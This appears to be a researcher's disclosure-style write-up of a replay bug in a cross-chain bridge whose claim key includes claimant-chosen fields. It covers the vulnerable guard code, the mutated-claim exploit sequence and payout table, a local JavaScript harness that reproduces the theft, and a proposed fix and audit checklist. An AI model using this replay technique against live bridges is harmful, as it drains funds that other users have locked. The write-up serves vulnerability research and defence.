Note: A private disclosure is in flight, so the protocol and chain are withheld here. The bug pattern, the harness, and the fix are not.
Bridges are accounting machines with a public attack surface. Every message that arrives from the other chain is, from the contract's point of view, just a bag of fields that somebody typed. The only thing standing between that bag of fields and the treasury is a replay guard. If the guard is built out of the wrong bytes, it is not a guard at all — it is a suggestion.
I found one of those in a counterstake-style bridge. The short version: one foreign transfer of 400,000,000 base units was claimed three times, and the bridge paid 2,400,000,000. The extra 2,000,000,000 came out of tokens other users had locked in the agent. No private key was stolen, no cryptography was broken, no oracle was manipulated. The uniqueness key simply included fields the claimant controls.
This is the anatomy of that bug, the harness that proved it against the project's own execution engine, and the checklist I now run on every bridge I review.
1. How the bridge is supposed to work
A counterstake bridge moves value in one direction by locking it, and in the other direction by paying out against a foreign transaction. The payout path is the interesting one:
- A user burns or locks tokens on chain A and gets a transaction id.
- On chain B, they submit a claim: sender address, txid, timestamp, amount, recipient, optional data, plus a reward for whoever assists.
- The claim is recorded with a challenger window. If nobody disputes it, the claimant withdraws
amount + stake. - A challenger who disputes and wins takes the stake.
Step 3 is where money leaves. Which means step 2 must be idempotent: the same foreign transfer must be claimable exactly once, forever, no matter how many times it is submitted or what the submitter puts in the optional fields.
That is the entire security model of the payout path. Everything else — challenge periods, stakes, governance — is decoration on top of "one transfer, one payment".
2. The guard, and why it was keyed wrong
The bridge is written in a declarative formula language: a state machine with init, messages and getters, where storage is a flat key-value map. There is no Solidity-style mapping, so replay protection is a storage convention: write a marker under a key derived from the claim, and bounce if the marker already exists.
Here is the check, verbatim, with identifiers removed:
$claim_hash = sha256(trigger.data.sender_address || '_' || $address || '_' || trigger.data.txid || '_' || trigger.data.txts || '_' || trigger.data.amount || '_' || $reward || '_' || $str_data) if (var['num_' || $claim_hash]) bounce("this transfer has already been claimed"); Read the inputs to that hash:
trigger.data.sender_address— immutable (it is part of the foreign transaction).trigger.data.txid— immutable.trigger.data.amount— immutable.trigger.data.txts— the claimed timestamp of the foreign transaction. Chosen by the claimant.$address— the recipient on this chain. Chosen by the claimant.$reward— the assistance reward. Chosen by the claimant.$str_data— arbitrary payload. Chosen by the claimant.
Four of the seven inputs are attacker-controlled. The guard asks "have I seen this exact combination before?", when the only question that matters is "have I seen this transfer before?".
And there is no second index. I grepped every .oscript file in the repository for a transfer-keyed marker — var['tx_' || txid], var['transfer_' || txid], anything of that shape — and found none. The uniqueness marker is the only thing preventing a replay, and it is keyed on a hash the attacker can recompute at will.
3. The exploit is embarrassingly cheap
Changing one byte of one optional field produces a different hash, a different marker, and a fresh claim record. That is it. That is the whole exploit.
The cost of an extra claim is the stake, and the stake comes back with the payout after the challenge window. So the marginal cost of claim N is opportunity cost and gas, and the marginal revenue is the full transfer amount. The bridge pays N × amount for one transfer of amount; the loss to the pool is (N − 1) × amount.
For the transaction I used: amount = 400,000,000, stake 400,000,000, payout per claim 800,000,000.
CLAIM 1: baseline (txts=T1, reward=0) -> claim_num 1 CLAIM 2: SAME tx, only reward differs (r=1) -> claim_num 2 CLAIM 3: SAME tx, only txts differs (T1-60) -> claim_num 3 WITHDRAW claim 1 -> PAYMENT 800,000,000 WITHDRAW claim 2 -> PAYMENT 800,000,000 WITHDRAW claim 3 -> PAYMENT 800,000,000 >>> total paid by the agent: 2,400,000,000 for a single foreign transfer of 400,000,000 >>> theft beyond one legitimate claim: 2,000,000,000 Note what the third line does: it changes txts by sixty seconds. The bridge does check that txts is not in the future and not absurdly old, but it never checks it against the actual foreign transaction, because it cannot — the value is attested, not proven. So the claimant picks any timestamp inside the accepted window and gets another claim.
Scale is bounded only by the agent's balance. Repeat claim N times, drain the pool, and the protocol is insolvent for every honest user still waiting to withdraw. This is why the impact lands as "direct theft of user funds" and not as a nuisance bug.
4. Proving it without touching mainnet
The useful part of this finding is not the bug. It is that I could demonstrate it against the project's own code, deterministically, in a few seconds, with no fork and no RPC.
The platform ships its formula evaluator as a library (evaluation.js in the core package). You can require it directly, feed it the agent's definition, send trigger messages, and read back the resulting state and outgoing payments. That turns "I think this is replayable" into a table of payments.
The harness shape:
const { evaluate } = require('<platform>/ocore/formula/evaluation.js'); const definition = require('fs').readFileSync('export.oscript', 'utf8'); let state = {}; // the agent's storage map let payments = []; function send(trigger) { const res = evaluate(definition, trigger, state); if (res.bounce) throw new Error(res.bounce); state = res.state; // storage after the message payments.push(...(res.messages || []).filter(m => m.app === 'payment')); } // three claims over the same foreign transfer, each mutating one optional field send({ data: { sender_address: SENDER, txid: TXID, amount: 400000000, txts: T1, reward: 0 }, address: AA }); send({ data: { sender_address: SENDER, txid: TXID, amount: 400000000, txts: T1, reward: 1 }, address: AA }); send({ data: { sender_address: SENDER, txid: TXID, amount: 400000000, txts: T1 - 60, reward: 0 }, address: AA }); // then withdraw each claim after the challenge period for (const id of [1, 2, 3]) send({ data: { claim_num: id }, address: AA }); console.log(payments.map(p => p.amount)); // [800000000, 800000000, 800000000] Two details make this credible to a triager:
Assert on the state, not just on the messages. The harness prints claim_num after each claim (1, 2, 3) and the num_<hash> markers. Seeing three distinct markers for one txid is the bug, stated in the project's own data structures.
Prove you audited the deployed artifact. A repository is not a deployment. The bridge instantiates agents from a factory that hardcodes a base agent hash. So I computed the hash of the audited source file with the platform's own chash160 and compared it to the constant in the factory:
chash160(export.oscript) = 5EFHW6COI2ICIWI6QT5N6FHYHKLKVSC3 $export_base_aa in export-factory.oscript = 5EFHW6COI2ICIWI6QT5N6FHYHKLKVSC3 Byte-for-byte match. That single line converts "your repo has a bug" into "the thing running on mainnet has a bug", which is the difference between a rejected report and a paid one.
5. The fix is one line, and it is not the line you think
The tempting fix is to add sender_address and txid to a second marker:
if (var['tx_' || trigger.data.txid]) bounce("already claimed"); That is better, but it still trusts a value the claimant supplies. The right shape is to key on the minimum immutable identity of the transfer and keep every mutable field out of the uniqueness key:
$transfer_key = sha256($sender_address || '_' || $txid); // nothing else if (var['tx_' || $transfer_key]) bounce("this transfer has already been claimed"); Then validate the optional fields against the transfer instead of hashing them into its identity:
txtsmust match the attested timestamp of the foreign transaction (or fall inside a narrow tolerance enforced by the oracle that attests it).amountmust match the attested amount exactly — this one was already correct.rewardmust be bounded by a governance parameter, not chosen freely, otherwise it becomes a second extraction channel even with a correct uniqueness key.addressanddataare routing information. They belong in the claim record, never in the key.
Two hardening measures are worth adding while you are in there: a per-transfer claim counter with a hard cap of one, and a global accounting invariant that total payouts for a given foreign txid never exceed its attested amount. The invariant is cheap and catches the next variant of this bug, not just this one.
6. The generalizable lesson
This is not a bridge bug. It is a key design bug, and it shows up anywhere state is indexed by a hash that includes user input:
- Claim/withdraw systems — the case above.
- Signature replay guards — hashing
(from, to, amount, nonce, deadline)but forgetting thatdeadlineis attacker-chosen, so the same intent can be re-signed into multiple valid digests. - Coupon and voucher contracts — the voucher id derived from
(user, amount, salt)wheresaltis free. - ERC-20 permit —
(owner, spender, value, nonce, deadline); drop the nonce and you get a replay with a new deadline.
The audit question that finds all of them is the same: what is the smallest set of bytes that uniquely identifies this event, and is every byte in my key actually in that set?
If a byte in the key is attacker-controlled, the key is not an identity — it is a namespace the attacker can expand at will.
7. What I would do differently next time
- Read the replay guard first, before the business logic. It is the highest-leverage twenty lines in any bridge.
- Write down, for every field in the trigger, whether it is immutable, attested, or chosen. Any field in the third column that appears in a uniqueness key is a finding.
- Build the harness before writing prose. The payments table is the report; the prose is commentary.
- Always compute the deployed-artifact hash. Repo-only findings get downgraded, and rightly so.
The report is with the maintainers now, with a reproduction anyone can run in under a minute. When the fix ships I will publish the full identifiers, the diff and the post-mortem. Until then, the pattern is the useful part — and if you maintain a bridge, the twenty minutes it takes to check your replay key is the cheapest insurance you will buy this year.